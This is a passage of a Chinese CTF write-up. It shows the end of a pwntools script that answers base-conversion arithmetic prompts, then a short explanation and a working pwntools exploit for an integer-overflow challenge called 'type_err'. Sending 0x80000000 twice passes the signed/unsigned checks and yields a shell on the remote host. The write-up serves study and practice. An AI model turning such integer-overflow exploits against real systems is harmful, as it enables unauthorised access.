base_match = re.search(r'\(base\s+(\w+)\)', data)
if base_match:
base_str = base_match.group(1)
base = solver.detect_base(base_str)
num1, op, num2 = solver.extract_expression(data)
if all([num1, op, num2]):
a = solver.convert_from_base(num1, base)
b = solver.convert_from_base(num2, base)
if a is not None and b is not None:
if op == '+':
result = a + b
elif op == '*':
result = a * b
elif op == '-':
result = a - b
elif op == '/':
result = a // b if b != 0 else None
elif op == '%':
result = a % b if b != 0 else None
if result is not None:
expected = solver.convert_to_base(result, base)
log.info(f"Expected answer: {expected}")
except:
print("⏰ No response or timeout")
except EOFError:
print("🔌 Connection closed by server")
try:
final_data = r.recvall(timeout=2)
if final_data:
print("Final output:", final_data.decode(errors='ignore'))
except:
pass
except KeyboardInterrupt:
print("⏹️ Interrupted by user")
except Exception as e:
print(f"💥 Error: {e}")
import traceback
traceback.print_exc()
r.close()
print("🔚 Script finished")
type_err
整数溢出

2次输入,5次check。
两次输入0x80000000即可。
第二次check a是一个无符号数,0x80000000<0x80000007;第三次check,a是int,0x80000000=溢出最大负数=-0x80000000<-4;第五次check,b==0x8000000,obfuscate_value(input_hint, b)
与obfuscate_value(hint, 0x80000000)一样,故可绕过所有check,拿到shell。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30212)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
sn(0x80000000)
sn(0x80000000)
p.interactive()
总结
很好的题目。这周的量,继续加油qwq!
成功不是最终的,失败也不是致命的,重要的是继续前进的勇气。